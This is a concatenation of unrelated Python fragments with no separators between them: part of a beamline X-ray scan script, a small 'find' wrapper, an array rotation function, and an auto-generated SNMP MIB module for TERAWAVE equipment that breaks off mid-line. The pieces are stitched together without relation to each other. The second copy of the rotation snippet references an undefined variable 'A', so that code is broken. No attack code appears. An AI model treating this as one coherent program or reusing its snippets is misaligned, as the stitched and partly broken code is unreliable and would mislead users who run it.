piezo_x4 = [-1500, -1900, 12] piezo_x5 = [-2000, -2400, 12] piezo_x6 = [-2500, -2900, 12] piezo_x7 = [-3000, -3400, 12] piezo_x8 = [-3500, -3900, 12] sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV1') yield from bp.grid_scan(dets, piezo.x, *piezo_x1, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV2') yield from bp.grid_scan(dets, piezo.x, *piezo_x2, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV3') yield from bp.grid_scan(dets, piezo.x, *piezo_x3, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV4') yield from bp.grid_scan(dets, piezo.x, *piezo_x4, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV5') yield from bp.grid_scan(dets, piezo.x, *piezo_x5, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV6') yield from bp.grid_scan(dets, piezo.x, *piezo_x6, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV7') yield from bp.grid_scan(dets, piezo.x, *piezo_x7, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV8') yield from bp.grid_scan(dets, piezo.x, *piezo_x8, waxs, *waxs_arc, 1) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5) def do_singleimage(meas_t=4): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] e_list = [20300] det_exposure_time(meas_t) waxs_arc = [3, 9, 2] sample_id(user_name='AK', sample_name='PVDFWBcool_50C_0.088deg_20300eV1') yield from bp.grid_scan(dets, waxs, *waxs_arc) def do_grazing_cool(meas_t=4): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] waxs_arc = [3, 9, 2] e_list = [20300] det_exposure_time(meas_t) xlocs = [0] sample_id(user_name='AK', sample_name='PB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [10000] sample_id(user_name='AK', sample_name='P50B_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [20000] sample_id(user_name='AK', sample_name='PWB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [30000] sample_id(user_name='AK', sample_name='P50WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [40000] sample_id(user_name='AK', sample_name='PVDFWB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [50000] sample_id(user_name='AK', sample_name='P75WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [60000] sample_id(user_name='AK', sample_name='P75WB_100C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [70000] sample_id(user_name='AK', sample_name='P25WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [80000] sample_id(user_name='AK', sample_name='P25B_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [90000] sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) def do_grazing1(meas_t=2): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] xlocs = [-37950] x_offset = [-200, 0, 200] names = ['ctrl1_focused_recheckoldmacro'] prealigned = [0] for (xloc, name, aligned) in zip(xlocs, names, prealigned): yield from bps.mv(piezo.x, xloc) yield from bps.mv(piezo.th, -500) if aligned == 0: yield from align_yalegi() plt.close('all') angle_offset = [100, 220, 300] e_list = [2460, 2477, 2500] a_off = piezo.th.position waxs_arc = [3, 87, 15] det_exposure_time(meas_t) name_fmt = '{sample}_{energ}eV_{angle}deg' for (i_e, e) in enumerate(e_list): yield from bps.mv(energy, e) yield from bps.mv(piezo.x, xloc + x_offset[i_e]) for (j, ang) in enumerate(a_off - np.array(angle_offset)): real_ang = 0.3 + angle_offset[j] / 1000 yield from bps.mv(piezo.th, ang) sample_name = name_fmt.format(sample=name, angle=real_ang, energ=e) sample_id(user_name='FA', sample_name=sample_name) print(f'\n\t=== Sample: {sample_name} ===\n') yield from bp.scan(dets, waxs, *waxs_arc) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5)
# TODO: Give better variable names # TODO: Make v3 and v4 optional arguments def find(v1, v2, v3, v4): return v1.index(v2, v3, v4)
def find(v1, v2, v3, v4): return v1.index(v2, v3, v4)
# AUTHOR: prm1999 # Python3 Concept: Rotate the word in the list. # GITHUB: https://github.com/prm1999 # Function def rotate(arr, n): n = len(arr) i = 1 x = arr[n - 1] for i in range(n - 1, 0, -1): arr[i] = arr[i - 1] arr[0] = x return arr #main A = [1, 2, 3, 4, 5] a=rotate(A,5) print(a)
def rotate(arr, n): n = len(arr) i = 1 x = arr[n - 1] for i in range(n - 1, 0, -1): arr[i] = arr[i - 1] arr[0] = x return arr a = [1, 2, 3, 4, 5] a = rotate(A, 5) print(a)
# # PySNMP MIB module TERAWAVE-terasystem-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/TERAWAVE-terasystem-MIB # Produced by pysmi-0.3.4 at Wed May 1 15:16:09 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueRangeConstraint, ValueSizeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ValueSizeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") Integer32, Bits, Counter32, ObjectIdentity, NotificationType, TimeTicks, MibIdentifier, ModuleIdentity, Counter64, MibScalar, MibTable, MibTableRow, MibTableColumn, IpAddress, Unsigned32, iso, enterprises, Gauge32 = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "Bits", "Counter32", "ObjectIdentity", "NotificationType", "TimeTicks", "MibIdentifier", "ModuleIdentity", "Counter64", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "IpAddress", "Unsigned32", "iso", "enterprises", "Gauge32") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") terawave = MibIdentifier((1, 3, 6, 1, 4, 1, 4513)) teraSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5)) teraSystemTime = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemTime.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemTime.setDescription('') teraSystemCurrTime = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemCurrTime.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemCurrTime.setDescription('') teraLogGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 8)) teraLogNumberTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1), ) if mibBuilder.loadTexts: teraLogNumberTable.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberTable.setDescription(' table teraLogNumberTable') teraLogNumberTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraLogNumber")) if mibBuilder.loadTexts: teraLogNumberTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberTableEntry.setDescription(' table entry teraLogNumberTableEntry ') teraLogNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumber.setDescription('') teraLogNumberDescr = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 2), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogNumberDescr.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberDescr.setDescription('') teraLogNumberStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ok", 1), ("clear", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogNumberStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberStatus.setDescription('') teraLogClear = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 8, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ok", 1), ("clear", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogClear.setStatus('mandatory') if mibBuilder.loadTexts: teraLogClear.setDescription('') teraLogTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3), ) if mibBuilder.loadTexts: teraLogTable.setStatus('mandatory') if mibBuilder.loadTexts: teraLogTable.setDescription(' table teraLogTable') teraLogTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraLogNumber"), (0, "TERAWAVE-terasystem-MIB", "teraLogMsgIndex")) if mibBuilder.loadTexts: teraLogTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraLogTableEntry.setDescription(' table entry teraLogTableEntry ') teraLogMsgIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogMsgIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraLogMsgIndex.setDescription('') teraLogMsgNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogMsgNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogMsgNumber.setDescription('') teraLogNumberOfParams = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogNumberOfParams.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberOfParams.setDescription('') teraLogParams = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 4), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogParams.setStatus('mandatory') if mibBuilder.loadTexts: teraLogParams.setDescription('') teraLogStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ok", 1), ("clear", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraLogStatus.setDescription('') teraAllLogsFilterGroup = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5), ) if mibBuilder.loadTexts: teraAllLogsFilterGroup.setStatus('mandatory') if mibBuilder.loadTexts: teraAllLogsFilterGroup.setDescription(' table teraAllLogsFilterGroup') teraAllLogsFilterGroupEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraLogNumber")) if mibBuilder.loadTexts: teraAllLogsFilterGroupEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraAllLogsFilterGroupEntry.setDescription(' table entry teraAllLogsFilterGroupEntry ') teraLogFilterByNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogFilterByNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterByNumber.setDescription('') teraLogFilterBySize = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("all", 1), ("last20", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogFilterBySize.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterBySize.setDescription('') teraLogFilterBySeverity = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 5))).clone(namedValues=NamedValues(("nominal", 1), ("minor", 2), ("major", 3), ("critical", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogFilterBySeverity.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterBySeverity.setDescription('') teraLogFilterByTask = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 4), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogFilterByTask.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterByTask.setDescription('') teraSlotInstTablePar = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 3)) teraSlotInstallTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1), ) if mibBuilder.loadTexts: teraSlotInstallTable.setStatus('mandatory') if mibBuilder.loadTexts: teraSlotInstallTable.setDescription(' table teraSlotInstallTable') teraSlotInstallTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber")) if mibBuilder.loadTexts: teraSlotInstallTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraSlotInstallTableEntry.setDescription(' table entry teraSlotInstallTableEntry ') teraInstallSlotNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 7))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallSlotNumber.setDescription('') teraInstallUnitType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(-1, 5000))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstallUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitType.setDescription('') teraInstallEquippedUnitType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallEquippedUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallEquippedUnitType.setDescription('') teraInstallUnitAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("provision", 1), ("none", 2), ("is", 3), ("moos", 4), ("reset", 5), ("trunk", 6), ("moos-trunk", 7)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstallUnitAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitAdminStatus.setDescription('') teraInstallUnitOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8))).clone(namedValues=NamedValues(("empty", 1), ("is", 2), ("moos", 3), ("removed", 4), ("unprovisioned", 5), ("mismatch", 6), ("oos", 7), ("init", 8)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitOperStatus.setDescription('') teraInstallUnitName = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 6), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitName.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitName.setDescription('') teraInstallUnitRevision = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 7), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitRevision.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitRevision.setDescription('') teraInstallUnitSerial = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 8), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitSerial.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitSerial.setDescription('') teraInstallUnitSWVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitSWVersion.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitSWVersion.setDescription('') teraInstallUnitMfgData = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 10), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitMfgData.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitMfgData.setDescription('') teraSystemInstallTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2), ) if mibBuilder.loadTexts: teraSystemInstallTable.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemInstallTable.setDescription(' table teraSystemInstallTable') teraSystemInstallTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraPonIndex")) if mibBuilder.loadTexts: teraSystemInstallTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemInstallTableEntry.setDescription(' table entry teraSystemInstallTableEntry ') teraSystemNEProvisionAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("provision", 1), ("none", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEProvisionAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEProvisionAdminStatus.setDescription('') teraSystemNEName = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 2), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemNEName.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEName.setDescription('') teraSystemNERangingCode = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 3), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNERangingCode.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNERangingCode.setDescription('') teraSystemNEType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 7))).clone(namedValues=NamedValues(("unknown", 0), ("tw300", 1), ("tw600", 2), ("tw1600", 3), ("tw100", 4), ("tw150RT", 5), ("oat", 7)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEType.setDescription('') teraSystemNEMaxLatency = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(8, 60))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEMaxLatency.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEMaxLatency.setDescription('') teraSystemNEAponMaxLength = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 200))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEAponMaxLength.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEAponMaxLength.setDescription('') teraSystemNEOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("empty", 1), ("provisioned", 2), ("linkDown", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemNEOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEOperStatus.setDescription('') teraSystemNEEocMinBandWidth = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(128, 1536))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEEocMinBandWidth.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEEocMinBandWidth.setDescription('') teraSystemNEEocMaxBandWidth = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 9), Integer32().subtype(subtypeSpec=ValueRangeConstraint(128, 1536))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEEocMaxBandWidth.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEEocMaxBandWidth.setDescription('') teraSystemNEInventoryOverride = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("olt2ont", 1), ("ont2olt", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEInventoryOverride.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEInventoryOverride.setDescription('') teraSystemNERanging = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("on", 1), ("off", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNERanging.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNERanging.setDescription('') teraSystemNECurrentDistance = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 12), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 20000))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemNECurrentDistance.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNECurrentDistance.setDescription('') teraNEInfoTableGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3)) teraNEInfoTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1)) teraNERangingCode = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 1), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNERangingCode.setStatus('mandatory') if mibBuilder.loadTexts: teraNERangingCode.setDescription('') teraNEType = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("unknown", 0), ("tw300", 1), ("tw600", 2), ("tw1600", 3), ("tw100", 4), ("tw150RT-ATM", 5), ("tw150RT-TDM", 6), ("oat", 7)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraNEType.setDescription('') teraNEModel = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 3), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNEModel.setStatus('mandatory') if mibBuilder.loadTexts: teraNEModel.setDescription('') teraNESWVersion = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 4), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNESWVersion.setStatus('mandatory') if mibBuilder.loadTexts: teraNESWVersion.setDescription('') teraNESWRevision = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 5), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNESWRevision.setStatus('mandatory') if mibBuilder.loadTexts: teraNESWRevision.setDescription('') teraClockSyncTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 4)) teraClockSyncPrimarySource = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("bits-A", 1), ("nim", 2), ("freerun", 3), ("holdover", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncPrimarySource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimarySource.setDescription('') teraClockSyncPrimaryNIMSlot = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncPrimaryNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMSlot.setDescription('') teraClockSyncPrimaryNIMIfIndex = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 3), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncPrimaryNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMIfIndex.setDescription('') teraClockSyncSecondarySource = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("bits-B", 1), ("nim", 2), ("freerun", 3), ("holdover", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncSecondarySource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondarySource.setDescription('') teraClockSyncSecondaryNIMSlot = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncSecondaryNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMSlot.setDescription('') teraClockSyncSecondaryNIMIfIndex = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 6), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncSecondaryNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMIfIndex.setDescription('') teraClockSyncLastSource = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("freerun", 1), ("holdover", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncLastSource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncLastSource.setDescription('') teraClockSyncRevertive = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("yes", 1), ("no", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncRevertive.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncRevertive.setDescription('') teraClockSyncActiveSource = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("bits-A", 1), ("bits-B", 2), ("nim", 3), ("freerun", 4), ("holdover", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncActiveSource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveSource.setDescription('') teraClockSyncActiveNIMSlot = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncActiveNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveNIMSlot.setDescription('') teraClockSyncActiveNIMIfIndex = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 11), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: 